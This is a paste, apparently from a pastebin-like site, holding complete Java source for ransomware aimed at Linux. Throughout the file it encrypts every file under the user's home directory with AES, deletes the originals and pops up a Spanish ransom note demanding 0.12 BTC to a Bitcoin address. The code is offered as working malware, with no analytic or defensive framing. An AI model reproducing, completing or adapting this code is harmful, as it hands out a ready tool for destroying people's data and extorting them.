· 7 years ago · Jul 12, 2018, 10:20 PM
1-import java.io.File;
2import java.io.IOException;
3import java.io.FileInputStream;
4import java.io.FileOutputStream;
5import java.security.AlgorithmParameters;
6import java.security.SecureRandom;
7import java.security.spec.KeySpec;
8import javax.swing.JOptionPane;
9import javax.crypto.Cipher;
10import javax.crypto.SecretKey;
11import javax.crypto.SecretKeyFactory;
12import javax.crypto.spec.IvParameterSpec;
13import javax.crypto.spec.PBEKeySpec;
14import javax.crypto.spec.SecretKeySpec;
15import javax.swing.*;
16
17/*
18Ransomware para Linux en Java
19*/
20
21public class Main{
22 public static String FileExtension(File file){
23 String filename = file.getName();
24 if(filename.lastIndexOf(".") != -1 && filename.lastIndexOf(".") != 0){
25 return filename.substring(filename.lastIndexOf(".")+1);
26 }else{
27 return "";
28 }
29 }
30
31 public static void Encrypt(File file) throws Exception {
32 FileInputStream infile = new FileInputStream(file);
33 FileOutputStream oufile = new FileOutputStream(file+".booom");
34 String nakamoto = "8d2a959e6b154ec9215882b82f28cfcb";
35
36 byte[] salt = new byte[8];
37 SecureRandom sr = new SecureRandom();
38 sr.nextBytes(salt);
39
40 SecretKeyFactory factory = SecretKeyFactory
41 .getInstance("PBKDF2WithHmacSHA1");
42 KeySpec keyspec = new PBEKeySpec(nakamoto.toCharArray(), salt, 65556, 128);
43 SecretKey sk = factory.generateSecret(keyspec);
44 SecretKey secret = new SecretKeySpec(sk.getEncoded(), "AES");
45
46 Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
47 cipher.init(Cipher.ENCRYPT_MODE, secret);
48
49 AlgorithmParameters params = cipher.getParameters();
50 byte[] iv = params.getParameterSpec(IvParameterSpec.class).getIV();
51
52 byte[] input = new byte[64];
53 int bytesRead;
54
55 while((bytesRead = infile.read(input)) != -1){
56 byte[] output = cipher.update(input, 0, bytesRead);
57 if(output != null){
58 oufile.write(output);
59 }
60 }
61
62 byte[] output = cipher.doFinal();
63 if(output != null){
64 oufile.write(output);
65 }
66 infile.close();
67 oufile.flush();
68 oufile.close();
69 }
70
71 public static void ListarYEncriptar(File file, String username) throws Exception{
72 File[] files = file.listFiles();
73 for(File tmpfile : files){
74 if(tmpfile.isDirectory()){
75 ListarYEncriptar(tmpfile, username);
76 }else{
77 Encrypt(tmpfile);
78 tmpfile.delete();
79 }
80 }
81 JOptionPane.showMessageDialog(null,"TODOS TUS ARCHIVOS HAN SIDO CIFRADOS. PARA RECUPERARLOS, ENVÃA 0.12 BTC A LA SIGUIENTE DIRECCIÓN: 3FnQLs8fCyWiP7fh4at5getQmnhnRxmon4","BOOOM RANSOMWARE",JOptionPane.ERROR_MESSAGE);
82 }
83
84 public static void main(String[] args) throws Exception {
85 String username = System.getProperty("user.name");
86 File dir = new File("/home/"+username);
87 ListarYEncriptar(dir, username);
88 }
89}